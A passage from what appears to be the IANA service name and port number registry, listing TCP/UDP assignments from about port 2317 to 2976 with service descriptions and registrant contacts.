Attachmate G32 attachmate-g32 2317/udp Attachmate G32 # Bryce Bhatnagar cadencecontrol 2318/tcp Cadence Control cadencecontrol 2318/udp Cadence Control # Buck Caldwell infolibria 2319/tcp InfoLibria infolibria 2319/udp InfoLibria # Chris Chiotasso siebel-ns 2320/tcp Siebel NS siebel-ns 2320/udp Siebel NS # Gilberto Arnaiz rdlap 2321/tcp RDLAP over UDP rdlap 2321/udp RDLAP # Robert Wiebe ofsd 2322/tcp ofsd ofsd 2322/udp ofsd 3d-nfsd 2323/tcp 3d-nfsd 3d-nfsd 2323/udp 3d-nfsd # Mike Sherrill cosmocall 2324/tcp Cosmocall cosmocall 2324/udp Cosmocall # Steve Dellutri designspace-lm 2325/tcp Design Space License Management designspace-lm 2325/udp Design Space License Management # Suzanne Lorrin idcp 2326/tcp IDCP idcp 2326/udp IDCP # Keisokugiken Corp. xingcsm 2327/tcp xingcsm xingcsm 2327/udp xingcsm # Dave Spencer netrix-sftm 2328/tcp Netrix SFTM netrix-sftm 2328/udp Netrix SFTM # Garrett Herschleb nvd 2329/tcp NVD nvd 2329/udp NVD # Peter Weyman tscchat 2330/tcp TSCCHAT tscchat 2330/udp TSCCHAT # Mike Jackson agentview 2331/tcp AGENTVIEW agentview 2331/udp AGENTVIEW # Ram Iyer rcc-host 2332/tcp RCC Host rcc-host 2332/udp RCC Host # Martin Shoemaker snapp 2333/tcp SNAPP snapp 2333/udp SNAPP # Kevin Obsorn ace-client 2334/tcp ACE Client Auth ace-client 2334/udp ACE Client Auth ace-proxy 2335/tcp ACE Proxy ace-proxy 2335/udp ACE Proxy # Riaz Zolfonoon appleugcontrol 2336/tcp Apple UG Control appleugcontrol 2336/udp Apple UG Control # Gene Tyacke ideesrv 2337/tcp ideesrv ideesrv 2337/udp ideesrv # Marazzi norton-lambert 2338/tcp Norton Lambert norton-lambert 2338/udp Norton Lambert # Richard de Mornay 3com-webview 2339/tcp 3Com WebView 3com-webview 2339/udp 3Com WebView # Jennifer Grace wrs_registry 2340/tcp WRS Registry wrs_registry 2340/udp WRS Registry # Christophe Cleraux xiostatus 2341/tcp XIO Status xiostatus 2341/udp XIO Status # Randy Maas manage-exec 2342/tcp Seagate Manage Exec manage-exec 2342/udp Seagate Manage Exec # Jim Flaherty nati-logos 2343/tcp nati logos nati-logos 2343/udp nati logos # David Pierce fcmsys 2344/tcp fcmsys fcmsys 2344/udp fcmsys dbm 2345/tcp dbm dbm 2345/udp dbm # Dean Robson redstorm_join 2346/tcp Game Connection Port redstorm_join 2346/udp Game Connection Port redstorm_find 2347/tcp Game Announcement and Location redstorm_find 2347/udp Game Announcement and Location redstorm_info 2348/tcp Information to query for game status redstorm_info 2348/udp Information to query for game status redstorm_diag 2349/tcp Diagnostics Port redstorm_diag 2349/udp Disgnostics Port # David Weinstein psbserver 2350/tcp psbserver psbserver 2350/udp psbserver psrserver 2351/tcp psrserver psrserver 2351/udp psrserver pslserver 2352/tcp pslserver pslserver 2352/udp pslserver pspserver 2353/tcp pspserver pspserver 2353/udp pspserver psprserver 2354/tcp psprserver psprserver 2354/udp psprserver psdbserver 2355/tcp psdbserver psdbserver 2355/udp psdbserver # Paul Reddy gxtelmd 2356/tcp GXT License Managemant gxtelmd 2356/udp GXT License Managemant # Robert Hodgson unihub-server 2357/tcp UniHub Server unihub-server 2357/udp UniHub Server # Tim Kenyon futrix 2358/tcp Futrix futrix 2358/udp Futrix # Peter Frankenberg flukeserver 2359/tcp FlukeServer flukeserver 2359/udp FlukeServer # Bill Marbaker nexstorindltd 2360/tcp NexstorIndLtd nexstorindltd 2360/udp NexstorIndLtd # NexStor India Limited tl1 2361/tcp TL1 tl1 2361/udp TL1 # Charles Scott Roberson # 2362-2388 Unassigned ovsessionmgr 2389/tcp OpenView Session Mgr ovsessionmgr 2389/udp OpenView Session Mgr # Eric Pulsipher rsmtp 2390/tcp RSMTP rsmtp 2390/udp RSMTP # Geoff Collyer 3com-net-mgmt 2391/tcp 3COM Net Management 3com-net-mgmt 2391/udp 3COM Net Management # Prathibha Nagvar tacticalauth 2392/tcp Tactical Auth tacticalauth 2392/udp Tactical Auth # David Yon ms-olap1 2393/tcp MS OLAP 1 ms-olap1 2393/udp MS OLAP 1 ms-olap2 2394/tcp MS OLAP 2 ms-olap2 2394/udp MA OLAP 2 # Mosha Pasumansky lan900_remote 2395/tcp LAN900 Remote lan900_remote 2395/udp LAN900 Remote # Tom Quinlan wusage 2396/tcp Wusage wusage 2396/udp Wusage # Thomas Boutell ncl 2397/tcp NCL ncl 2397/udp NCL # Robert Wiebe orbiter 2398/tcp Orbiter orbiter 2398/udp Orbiter # David Goldberg fmpro-fdal 2399/tcp FileMaker, Inc. - Data Access Layer fmpro-fdal 2399/udp FileMaker, Inc. - Data Access Layer # Clay Maeckal opequus-server 2400/tcp OpEquus Server opequus-server 2400/udp OpEquus Server # Gavin Hutchinson cvspserver 2401/tcp cvspserver cvspserver 2401/udp cvspserver # Jim Kingdon taskmaster2000 2402/tcp TaskMaster 2000 Server taskmaster2000 2402/udp TaskMaster 2000 Server taskmaster2000 2403/tcp TaskMaster 2000 Web taskmaster2000 2403/udp TaskMaster 2000 Web # Ed Odjaghian iec870-5-104 2404/tcp IEC870-5-104 iec870-5-104 2404/udp IEC870-5-104 # Walter Eichelburg trc-netpoll 2405/tcp TRC Netpoll trc-netpoll 2405/udp TRC Netpoll # Bizhan Ghavami jediserver 2406/tcp JediServer jediserver 2406/udp JediServer # Paul McEntire orion 2407/tcp Orion orion 2407/udp Orion # Matthew Horoschun optimanet 2408/tcp OptimaNet optimanet 2408/udp OptimaNet # John Graham-Cumming sns-protocol 2409/tcp SNS Protocol sns-protocol 2409/udp SNS Protocol # Amir Blich vrts-registry 2410/tcp VRTS Registry vrts-registry 2410/udp VRTS Registry # Pranay Varma netwave-ap-mgmt 2411/tcp Netwave AP Management netwave-ap-mgmt 2411/udp Netwave AP Management # Johnny Zweig cdn 2412/tcp CDN cdn 2412/udp CDN # Alan Noble orion-rmi-reg 2413/tcp orion-rmi-reg orion-rmi-reg 2413/udp orion-rmi-reg # J.S. Greenfield interlingua 2414/tcp Interlingua interlingua 2414/udp Interlingua # Bob Deblier comtest 2415/tcp COMTEST comtest 2415/udp COMTEST # Sylvia Ross rmtserver 2416/tcp RMT Server rmtserver 2416/udp RMT Server # Yvon Marineau composit-server 2417/tcp Composit Server composit-server 2417/udp Composit Server # Katsuaki Naoi cas 2418/tcp cas cas 2418/udp cas # Akiyoshi Ochi attachmate-s2s 2419/tcp Attachmate S2S attachmate-s2s 2419/udp Attachmate S2S # Chris Rominski dslremote-mgmt 2420/tcp DSL Remote Management dslremote-mgmt 2420/udp DSL Remote Management # Westell, Inc. g-talk 2421/tcp G-Talk g-talk 2421/udp G-Talk # Matt Hammond crmsbits 2422/tcp CRMSBITS crmsbits 2422/udp CRMSBITS # Rod Ward rnrp 2423/tcp RNRP rnrp 2423/udp RNRP # Per Sahlqvist kofax-svr 2424/tcp KOFAX-SVR kofax-svr 2424/udp KOFAX-SVR # Terry Reagan fjitsuappmgr 2425/tcp Fujitsu App Manager fjitsuappmgr 2425/udp Fujitsu App Manager # Hiroyuki Kawabuchi applianttcp 2426/tcp Appliant TCP appliantudp 2426/udp Appliant UDP # Brad Chen stgcp 2427/tcp Simple telephony Gateway Control Protocol stgcp 2427/udp Simple telephony Gateway Control Protocol # Christian Huitema ott 2428/tcp One Way Trip Time ott 2428/udp One Way Trip Time # Beverly Schwartz ft-role 2429/tcp FT-ROLE ft-role 2429/udp FT-ROLE # Doug Boone venus 2430/tcp venus venus 2430/udp venus venus-se 2431/tcp venus-se venus-se 2431/udp venus-se codasrv 2432/tcp codasrv codasrv 2432/udp codasrv codasrv-se 2433/tcp codasrv-se codasrv-se 2433/udp codasrv-se # Robert Watson pxc-epmap 2434/tcp pxc-epmap pxc-epmap 2434/udp pxc-epmap # Jun Nakamura optilogic 2435/tcp OptiLogic optilogic 2435/udp OptiLogic # Clark Williams topx 2436/tcp TOP/X topx 2436/udp TOP/X # Dragos Pop unicontrol 2437/tcp UniControl unicontrol 2437/udp UniControl # Ing. Markus Huemer msp 2438/tcp MSP msp 2438/udp MSP # Evan Caves sybasedbsynch 2439/tcp SybaseDBSynch sybasedbsynch 2439/udp SybaseDBSynch # Anthony Scian spearway 2440/tcp Spearway Lockers spearway 2440/udp Spearway Lockser # Pierre Frisch pvsw-inet 2441/tcp pvsw-inet pvsw-inet 2441/udp pvsw-inet # John McDowell netangel 2442/tcp Netangel netangel 2442/udp Netangel # Ladislav Baranyay powerclientcsf 2443/tcp PowerClient Central Storage Facility powerclientcsf 2443/udp PowerClient Central Storage Facility # Brian Klassen btpp2sectrans 2444/tcp BT PP2 Sectrans btpp2sectrans 2444/udp BT PP2 Sectrans # Ian Daniels dtn1 2445/tcp DTN1 dtn1 2445/udp DTN1 # Bob Gaddie bues_service 2446/tcp bues_service bues_service 2446/udp bues_service # Leonhard Diekmann # ovwdb 2447/tcp OpenView NNM daemon ovwdb 2447/udp OpenView NNM daemon # Eric Pulsipher hpppssvr 2448/tcp hpppsvr hpppssvr 2448/udp hpppsvr # Bridgette Landers ratl 2449/tcp RATL ratl 2449/udp RATL # Paul Greenfield netadmin 2450/tcp netadmin netadmin 2450/udp netadmin netchat 2451/tcp netchat netchat 2451/udp netchat # Julian Mehnle snifferclient 2452/tcp SnifferClient snifferclient 2452/udp SnifferClient # Amy Weaver madge-om 2453/tcp madge-om madge-om 2453/udp madge-om # Andrew Draper indx-dds 2454/tcp IndX-DDS indx-dds 2454/udp IndX-DDS # Paul Carmichael wago-io-system 2455/tcp WAGO-IO-SYSTEM wago-io-system 2455/udp WAGO-IO-SYSTEM # Uwe Rathert altav-remmgt 2456/tcp altav-remmgt altav-remmgt 2456/udp altav-remmgt # JC Ferguson rapido-ip 2457/tcp Rapido_IP rapido-ip 2457/udp Rapido_IP # Man Shuen Cheung griffin 2458/tcp griffin griffin 2458/udp griffin # Tom Taylor community 2459/tcp Community community 2459/udp Community # David Schwartz ms-theater 2460/tcp ms-theater ms-theater 2460/udp ms-theater # Anton Kucer qadmifoper 2461/tcp qadmifoper qadmifoper 2461/udp qadmifoper qadmifevent 2462/tcp qadmifevent qadmifevent 2462/udp qadmifevent # Pekka Takaranta symbios-raid 2463/tcp Symbios Raid symbios-raid 2463/udp Symbios Raid # Bill Delaney direcpc-si 2464/tcp DirecPC SI direcpc-si 2464/udp DirecPC SI # Doug Dillon lbm 2465/tcp Load Balance Management lbm 2465/udp Load Balance Management lbf 2466/tcp Load Balance Forwarding lbf 2466/udp Load Balance Forwarding # Kazuhiro Koide high-criteria 2467/tcp High Criteria high-criteria 2467/udp High Criteria # Konstantin Iavid qip_msgd 2468/tcp qip_msgd qip_msgd 2468/udp qip_msgd # Mike Morgan mti-tcs-comm 2469/tcp MTI-TCS-COMM mti-tcs-comm 2469/udp MTI-TCS-COMM # Mario Bonin taskman_port 2470/tcp taskman port taskman_port 2470/udp taskman port # Boris Panteleev seaodbc 2471/tcp SeaODBC seaodbc 2471/udp SeaODBC # Adrian Hornby c3 2472/tcp C3 c3 2472/udp C3 # Eckhard Grieger aker-cdp 2473/tcp Aker-cdp aker-cdp 2473/udp Aker-cdp # Rodrigo Ormonde vitalanalysis 2474/tcp Vital Analysis vitalanalysis 2474/udp Vital Analysis # Srinivas Reddy ace-server 2475/tcp ACE Server ace-server 2475/udp ACE Server ace-svr-prop 2476/tcp ACE Server Propagation ace-svr-prop 2476/udp ACE Server Propagation ssm-cvs 2477/tcp SecurSight Certificate Valifation Service ssm-cvs 2477/udp SecurSight Certificate Valifation Service ssm-cssps 2478/tcp SecurSight Authentication Server (SLL) ssm-cssps 2478/udp SecurSight Authentication Server (SSL) ssm-els 2479/tcp SecurSight Event Logging Server (SSL) ssm-els 2479/udp SecurSight Event Logging Server (SSL) # John Linn lingwood 2480/tcp Lingwood's Detail lingwood 2480/udp Lingwood's Detail # David Richmond giop 2481/tcp Oracle GIOP giop 2481/udp Oracle GIOP giop-ssl 2482/tcp Oracle GIOP SSL giop-ssl 2482/udp Oracle GIOP SSL ttc 2483/tcp Oracle TTC ttc 2483/udp Oracel TTC ttc-ssl 2484/tcp Oracle TTC SSL ttc-ssl 2484/udp Oracle TTC SSL # Chandar Venkataraman netobjects1 2485/tcp Net Objects1 netobjects1 2485/udp Net Objects1 netobjects2 2486/tcp Net Objects2 netobjects2 2486/udp Net Objects2 # Francois Granade pns 2487/tcp Policy Notice Service pns 2487/udp Policy Notice Service # Akiyoshi Ochi moy-corp 2488/tcp Moy Corporation moy-corp 2488/udp Moy Corporation # Gang Gong Moy tsilb 2489/tcp TSILB tsilb 2489/udp TSILB # James Irwin qip_qdhcp 2490/tcp qip_qdhcp qip_qdhcp 2490/udp qip_qdhcp # Mike Morgan conclave-cpp 2491/tcp Conclave CPP conclave-cpp 2491/udp Conclave CPP # Larry Lipstone groove 2492/tcp GROOVE groove 2492/udp GROOVE # Ray Ozzie talarian-mqs 2493/tcp Talarian MQS talarian-mqs 2493/udp Talarian MQS # Jim Stabile bmc-ar 2494/tcp BMC AR bmc-ar 2494/udp BMC AR # Shelia Childs fast-rem-serv 2495/tcp Fast Remote Services fast-rem-serv 2495/udp Fast Remote Services # Scott St. Clair dirgis 2496/tcp DIRGIS dirgis 2496/udp DIRGIS # Deutschland Informations- und # Reservierungsgesellschaft mbH quaddb 2497/tcp Quad DB quaddb 2497/udp Quad DB # Jeff Rosenthal odn-castraq 2498/tcp ODN-CasTraq odn-castraq 2498/udp ODN-CasTraq # Richard Hodges unicontrol 2499/tcp UniControl unicontrol 2499/udp UniControl # Ing. Markus Huemer rtsserv 2500/tcp Resource Tracking system server rtsserv 2500/udp Resource Tracking system server rtsclient 2501/tcp Resource Tracking system client rtsclient 2501/udp Resource Tracking system client # Aubrey Turner # kentrox-prot 2502/tcp Kentrox Protocol kentrox-prot 2502/udp Kentrox Protocol # Anil Lakhwara nms-dpnss 2503/tcp NMS-DPNSS nms-dpnss 2503/udp NMS-DPNSS # Jean-Christophe Desire # wlbs 2504/tcp WLBS wlbs 2504/udp WLBS # William Bain torque-traffic 2505/tcp torque-traffic torque-traffic 2505/udp torque-traffic # Alan Porter jbroker 2506/tcp jbroker jbroker 2506/udp jbroker # Rohit Garg spock 2507/tcp spock spock 2507/udp spock # Jon A. Christopher datastore 2508/tcp datastore datastore 2508/udp datastore # Jen Ole Lauridsen fjmpss 2509/tcp fjmpss fjmpss 2509/udp fjmpss # Makoto Watanabe fjappmgrbulk 2510/tcp fjappmgrbulk fjappmgrbulk 2510/udp fjappmgrbulk # Hiroyuki Kawabuchi metastorm 2511/tcp Metastorm metastorm 2511/udp Metastorm # Eric Isom citrixima 2512/tcp Citrix IMA citrixima 2512/udp Citrix IMA citrixadmin 2513/tcp Citrix ADMIN citrixadmin 2513/udp Citrix ADMIN # Kurt Mahan facsys-ntp 2514/tcp Facsys NTP facsys-ntp 2514/udp Facsys NTP facsys-router 2515/tcp Facsys Router facsys-router 2515/udp Facsys Router # Jeff Hoffman maincontrol 2516/tcp Main Control maincontrol 2516/udp Main Control # Nathan Sadia call-sig-trans 2517/tcp Call Signalling Transport call-sig-trans 2517/udp Call Signalling Transport # Gur Kimchi willy 2518/tcp Willy willy 2518/udp Willy # Carl-Johan Wik globmsgsvc 2519/tcp globmsgsvc globmsgsvc 2519/udp globmsgsvc # David Wiltz pvsw 2520/tcp pvsw pvsw 2520/udp pvsw # Ghassan Yammine adaptecmgr 2521/tcp Adaptec Manager adaptecmgr 2521/udp Adaptec Manager # Mark Parenti windb 2522/tcp WinDb windb 2522/udp WinDb # Larry Traylor qke-llc-v3 2523/tcp Qke LLC V.3 qke-llc-v3 2523/udp Qke LLC V.3 # Peter Ostermann optiwave-lm 2524/tcp Optiwave License Management optiwave-lm 2524/udp Optiwave License Management # Slawomir Krzesinski ms-v-worlds 2525/tcp MS V-Worlds ms-v-worlds 2525/udp MS V-Worlds # Pete Wong ema-sent-lm 2526/tcp EMA License Manager ema-sent-lm 2526/udp EMA License Manager # Thaddeus Perala iqserver 2527/tcp IQ Server iqserver 2527/udp IQ Server # Nick Straguzzi ncr_ccl 2528/tcp NCR CCL ncr_ccl 2528/udp NCR CCL # Amitava Dutta utsftp 2529/tcp UTS FTP utsftp 2529/udp UTS FTP # David Moore vrcommerce 2530/tcp VR Commerce vrcommerce 2530/udp VR Commerce # Yosi Mass ito-e-gui 2531/tcp ITO-E GUI ito-e-gui 2531/udp ITO-E GUI # Michael Haeuptle ovtopmd 2532/tcp OVTOPMD ovtopmd 2532/udp OVTOPMD # Eric Pulsipher snifferserver 2533/tcp SnifferServer snifferserver 2533/udp SnifferServer # Amy Weaver combox-web-acc 2534/tcp Combox Web Access combox-web-acc 2534/udp Combox Web Access # Yochai Cohen mdhcp 2535/tcp MDHCP mdhcp 2535/udp MDHCP # Stephen Hanna btpp2audctr1 2536/tcp btpp2audctr1 btpp2audctr1 2536/udp btpp2audctr1 # Ian Daniels upgrade 2537/tcp Upgrade Protocol upgrade 2537/udp Upgrade Protocol # Breck Auten vnwk-prapi 2538/tcp vnwk-prapi vnwk-prapi 2538/udp vnwk-prapi # John Hasselkus vsiadmin 2539/tcp VSI Admin vsiadmin 2539/udp VSI Admin # Rob Juergens lonworks 2540/tcp LonWorks lonworks 2540/udp LonWorks lonworks2 2541/tcp LonWorks2 lonworks2 2541/udp LonWorks2 # Gary Bartlett davinci 2542/tcp daVinci davinci 2542/udp daVinci # Mattias Werner reftek 2543/tcp REFTEK reftek 2543/udp REFTEK # Robert Banfill novell-zen 2544/tcp Novell ZEN novell-zen 2544/tcp Novell ZEN # Randy Cook sis-emt 2545/tcp sis-emt sis-emt 2545/udp sis-emt # Bill Crawford vytalvaultbrtp 2546/tcp vytalvaultbrtp vytalvaultbrtp 2546/udp vytalvaultbrtp vytalvaultvsmp 2547/tcp vytalvaultvsmp vytalvaultvsmp 2547/udp vytalvaultvsmp vytalvaultpipe 2548/tcp vytalvaultpipe vytalvaultpipe 2548/udp vytalvaultpipe # Tim Boldt ipass 2549/tcp IPASS ipass 2549/udp IPASS # Michael Fischer ads 2550/tcp ADS ads 2550/udp ADS # Michael O'Connor isg-uda-server 2551/tcp ISG UDA Server isg-uda-server 2551/udp ISG UDA Server # Dror Harari call-logging 2552/tcp Call Logging call-logging 2552/udp Call Logging # Dean Webb efidiningport 2553/tcp efidiningport efidiningport 2553/udp efidiningport # Lynn Carter vcnet-link-v10 2554/tcp VCnet-Link v10 vcnet-link-v10 2554/udp VCnet-Link v10 # Csaba Mate compaq-wcp 2555/tcp Compaq WCP compaq-wcp 2555/udp Compaq WCP # Ferruccio Barletta nicetec-nmsvc 2556/tcp nicetec-nmsvc nicetec-nmsvc 2556/udp nicetec-nmsvc nicetec-mgmt 2557/tcp nicetec-mgmt nicetec-mgmt 2557/udp nicetec-mgmt # Joerg Paulus pclemultimedia 2558/tcp PCLE Multi Media pclemultimedia 2558/udp PCLE Multi Media # Bernd Scharping lstp 2559/tcp LSTP lstp 2559/udp LSTP # Waiki Wright labrat 2560/tcp labrat labrat 2560/udp labrat # John Harvey mosaixcc 2561/tcp MosaixCC mosaixcc 2561/udp MosaixCC # Steven Frare delibo 2562/tcp Delibo delibo 2562/udp Delibo # NovaWiz LTD cti-redwood 2563/tcp CTI Redwood cti-redwood 2563/udp CTI Redwood # Songwon Chi hp-3000-telnet 2564/tcp HP 3000 NS/VT block mode telnet # coord-svr 2565/tcp Coordinator Server coord-svr 2565/udp Coordinator Server # Richard Steiger pcs-pcw 2566/tcp pcs-pcw pcs-pcw 2566/udp pcs-pcw # W. Jordan Fitzhugh clp 2567/tcp Cisco Line Protocol clp 2567/udp Cisco Line Protocol # Susan Hinrichs spamtrap 2568/tcp SPAM TRAP spamtrap 2568/udp SPAM TRAP # Chuck Bennett sonuscallsig 2569/tcp Sonus Call Signal sonuscallsig 2569/udp Sonus Call Signal # Mark Garti hs-port 2570/tcp HS Port hs-port 2570/udp HS Port # Uri Doron cecsvc 2571/tcp CECSVC cecsvc 2571/udp CECSVC # Roger Pao ibp 2572/tcp IBP ibp 2572/udp IBP # Jonathan Downes trustestablish 2573/tcp Trust Establish trustestablish 2573/udp Trust Establish # Yosi Mass blockade-bpsp 2574/tcp Blockade BPSP blockade-bpsp 2574/udp Blockade BPSP # Jay Maharaj hl7 2575/tcp HL7 hl7 2575/udp HL7 # Tim Jacobs tclprodebugger 2576/tcp TCL Pro Debugger tclprodebugger 2576/udp TCL Pro Debugger scipticslsrvr 2577/tcp Scriptics Lsrvr scipticslsrvr 2577/udp Scriptics Lsrvr # Brent Welch rvs-isdn-dcp 2578/tcp RVS ISDN DCP rvs-isdn-dcp 2578/udp RVS ISDN DCP # Michael Zirpel mpfoncl 2579/tcp mpfoncl mpfoncl 2579/udp mpfoncl # Itaru Kimura tributary 2580/tcp Tributary tributary 2580/udp Tributary # Louis Lu argis-te 2581/tcp ARGIS TE argis-te 2581/udp ARGIS TE argis-ds 2582/tcp ARGIS DS argis-ds 2582/udp ARGIS DS # John Legh-Page mon 2583/tcp MON mon 2583/udp MON # Jim Trocki cyaserv 2584/tcp cyaserv cyaserv 2584/udp cyaserv # Morgan Jones netx-server 2585/tcp NETX Server netx-server 2585/udp NETX Server netx-agent 2586/tcp NETX Agent netx-agent 2586/udp NETX Agent # Brett Dolecheck masc 2587/tcp MASC masc 2587/udp MASC # Pavlin Ivanov Radoslavov # privilege 2588/tcp Privilege privilege 2588/udp Privilege # Gil Hecht quartus-tcl 2589/tcp quartus tcl quartus-tcl 2589/udp quartus tcl # Subroto Datta # 2590-2591 Unassigned netrek 2592/tcp netrek netrek 2592/udp netrek # Al Guetzlaff mns-mail 2593/tcp MNS Mail Notice Service mns-mail 2593/udp MNS Mail Notice Service # Rumiko Kikuta dts 2594/tcp Data Base Server dts 2594/udp Data Base Server # Andreas Roene # 2595-2627 Unassigned dict 2628/tcp DICT dict 2628/udp DICT # Rik Faith sitaraserver 2629/tcp Sitara Server sitaraserver 2629/udp Sitara Server sitaramgmt 2630/tcp Sitara Management sitaramgmt 2630/udp Sitara Management sitaradir 2631/tcp Sitara Dir sitaradir 2631/udp Sitara Dir # Manickam R.Sridhar irdg-post 2632/tcp IRdg Post irdg-post 2632/udp IRdg Post # IRdg, Inc. interintelli 2633/tcp InterIntelli interintelli 2633/udp InterIntelli # Mike Gagle pk-electronics 2634/tcp PK Electronics pk-electronics 2634/udp PK Electronics # Seb Ibis backburner 2635/tcp Back Burner backburner 2635/udp Back Burner # Kevin Teiskoetter solve 2636/tcp Solve solve 2636/udp Solve # Peter Morrison imdocsvc 2637/tcp Import Document Service imdocsvc 2637/udp Import Document Service # Zia Bhatti sybaseanywhere 2638/tcp Sybase Anywhere sybaseanywhere 2638/udp Sybase Anywhere # Verna Friesen aminet 2639/tcp AMInet aminet 2639/udp AMInet # Alcorn McBride Inc. sai_sentlm 2640/tcp Sabbagh Associates Licence Manager sai_sentlm 2640/udp Sabbagh Associates Licence Manager # Elias Sabbagh hdl-srv 2641/tcp HDL Server hdl-srv 2641/udp HDL Server # David Ely tragic 2642/tcp Tragic tragic 2642/udp Tragic # Stu Mark gte-samp 2643/tcp GTE-SAMP gte-samp 2643/udp GTE-SAMP # Asher Altman travsoft-ipx-t 2644/tcp Travsoft IPX Tunnel travsoft-ipx-t 2644/udp Travsoft IPX Tunnel # Jack Wilson novell-ipx-cmd 2645/tcp Novell IPX CMD novell-ipx-cmd 2645/udp Novell IPX CMD # Juan Carlos Luciani and-lm 2646/tcp AND Licence Manager and-lm 2646/udp AND License Manager # Dick van der Sijs syncserver 2647/tcp SyncServer syncserver 2647/udp SyncServer # Dave Finnegan upsnotifyprot 2648/tcp Upsnotifyprot upsnotifyprot 2648/udp Upsnotifyprot # Mario Leboute vpsipport 2649/tcp VPSIPPORT vpsipport 2649/udp VPSIPPORT # Joon Radley eristwoguns 2650/tcp eristwoguns eristwoguns 2650/udp eristwoguns # Ed Harris ebinsite 2651/tcp EBInSite ebinsite 2651/udp EBInSite # Lefteris Kalamaras interpathpanel 2652/tcp InterPathPanel interpathpanel 2652/udp InterPathPanel # Stephen Misel sonus 2653/tcp Sonus sonus 2653/udp Sonus # Mark Garti corel_vncadmin 2654/tcp Corel VNC Admin corel_vncadmin 2654/udp Corel VNC Admin # Oleg Noskov unglue 2655/tcp UNIX Nt Glue unglue 2655/udp UNIX Nt Glue # Peter Santoro kana 2656/tcp Kana kana 2656/udp Kana # Colin Goldstein sns-dispatcher 2657/tcp SNS Dispatcher sns-dispatcher 2657/udp SNS Dispatcher sns-admin 2658/tcp SNS Admin sns-admin 2658/udp SNS Admin sns-query 2659/tcp SNS Query sns-query 2659/udp SNS Query # Mary Holstege gcmonitor 2660/tcp GC Monitor gcmonitor 2660/udp GC Monitor # Gustavo Rodriguez-Rivera olhost 2661/tcp OLHOST olhost 2661/udp OLHOST # Robert Ripberger bintec-capi 2662/tcp BinTec-CAPI bintec-capi 2662/udp BinTec-CAPI bintec-tapi 2663/tcp BinTec-TAPI bintec-tapi 2663/udp BinTec-TAPI # command-mq-gm 2664/tcp Command MQ GM command-mq-gm 2664/udp Command MQ GM command-mq-pm 2665/tcp Command MQ PM command-mq-pm 2665/udp Command MQ PM # Richard Nikula extensis 2666/tcp extensis extensis 2666/udp extensis # Milton Sagen alarm-clock-s 2667/tcp Alarm Clock Server alarm-clock-s 2667/udp Alarm Clock Server alarm-clock-c 2668/tcp Alarm Clock Client alarm-clock-c 2668/udp Alarm Clock Client toad 2669/tcp TOAD toad 2669/udp TOAD # Michael Marking tve-announce 2670/tcp TVE Announce tve-announce 2670/udp TVE Announce # Dean Blackketter newlixreg 2671/tcp newlixreg newlixreg 2671/udp newlixreg # Jean-Serge Gagnon nhserver 2672/tcp nhserver nhserver 2672/udp nhserver # Adrian Hornby firstcall42 2673/tcp First Call 42 firstcall42 2673/udp First Call 42 # Luke Bowen ewnn 2674/tcp ewnn ewnn 2674/udp ewnn # Yasunari Yamashita ttc-etap 2675/tcp TTC ETAP ttc-etap 2675/udp TTC ETAP # Daniel Becker simslink 2676/tcp SIMSLink simslink 2676/udp SIMSLink # Steve Ryckman gadgetgate1way 2677/tcp Gadget Gate 1 Way gadgetgate1way 2677/udp Gadget Gate 1 Way gadgetgate2way 2678/tcp Gadget Gate 2 Way gadgetgate2way 2678/udp Gadget Gate 2 Way # Matt Rollins syncserverssl 2679/tcp Sync Server SSL syncserverssl 2679/udp Sync Server SSL # Dave Finnegan pxc-sapxom 2680/tcp pxc-sapxom pxc-sapxom 2680/udp pxc-sapxom # Hideki Kiriyama mpnjsomb 2681/tcp mpnjsomb mpnjsomb 2681/udp mpnjsomb # Takenori Miyahara srsp 2682/tcp SRSP srsp 2682/udp SRSP # Martin Eriksson ncdloadbalance 2683/tcp NCDLoadBalance ncdloadbalance 2683/udp NCDLoadBalance # Tim Stevenson mpnjsosv 2684/tcp mpnjsosv mpnjsosv 2684/udp mpnjsosv mpnjsocl 2685/tcp mpnjsocl mpnjsocl 2685/udp mpnjsocl mpnjsomg 2686/tcp mpnjsomg mpnjsomg 2686/udp mpnjsomg # Takenori Miyahara pq-lic-mgmt 2687/tcp pq-lic-mgmt pq-lic-mgmt 2687/udp pq-lic-mgmt # Bob Sledge md-cg-http 2688/tcp md-cf-http md-cg-http 2688/udp md-cf-http # Lyndon Nerenberg # 2689-2699 Unassigned tqdata 2700/tcp tqdata tqdata 2700/udp tqdata # Al Guetzlaff # 2701-2783 Unassigned www-dev 2784/tcp world wide web - development www-dev 2784/udp world wide web - development aic-np 2785/tcp aic-np aic-np 2785/udp aic-np # Brad Parker aic-oncrpc 2786/tcp aic-oncrpc - Destiny MCD database aic-oncrpc 2786/udp aic-oncrpc - Destiny MCD database # Brad Parker piccolo 2787/tcp piccolo - Cornerstone Software piccolo 2787/udp piccolo - Cornerstone Software # Dave Bellivea fryeserv 2788/tcp NetWare Loadable Module - Seagate Software fryeserv 2788/udp NetWare Loadable Module - Seagate Software # Joseph LoPilato media-agent 2789/tcp Media Agent media-agent 2789/udp Media Agent # Nitzan Daube # 2789-2827 Unassigned itm-lm 2828/tcp ITM License Manager itm-lm 2828/udp ITM License Manager # Miles O'Neal # 2829-2907 Unassigned mao 2908/tcp mao mao 2908/udp mao # Marc Baudoin funk-dialout 2909/tcp Funk Dialout funk-dialout 2909/udp Funk Dialout # Cimarron Boozer tdaccess 2910/tcp TDAccess tdaccess 2910/udp TDAccess # Tom Haapanen blockade 2911/tcp Blockade blockade 2911/udp Blockade # Konstantin Iavid epicon 2912/tcp Epicon epicon 2912/udp Epicon # Michael Khalandovsky boosterware 2913/tcp Booster Ware boosterware 2913/udp Booster Ware # Ido Ben-David gamelobby 2914/tcp Game Lobby gamelobby 2914/udp Game Lobby # Paul Ford-Hutchinson tksocket 2915/tcp TK Socket tksocket 2915/udp TK Socket # Alan Fahrner elvin_server 2916/tcp Elvin Server elvin_server 2916/ucp Elvin Server elvin_client 2917/tcp Elvin Client elvin_client 2917/udp Elvin Client # David Arnold kastenchasepad 2918/tcp Kasten Chase Pad kastenchasepad 2918/udp Kasten Chase Pad # Marc Gauthier # 2918-2970 Unassigned netclip 2971/tcp Net Clip netclip 2971/udp Net Clip # Rudi Chiarito pmsm-webrctl 2972/tcp PMSM Webrctl pmsm-webrctl 2972/udp PMSM Webrctl # Markus Michels svnetworks 2973/tcp SV Networks svnetworks 2973/udp SV Networks # Sylvia Siu signal 2974/tcp Signal signal 2974/udp Signal # Wyatt Williams fjmpcm 2975/tcp Fujitsu Configuration Management Service fjmpcm 2975/udp Fujitsu Configuration Management Service # Hiroki Kawano cns-srv-port 2976/tcp CNS Server Port 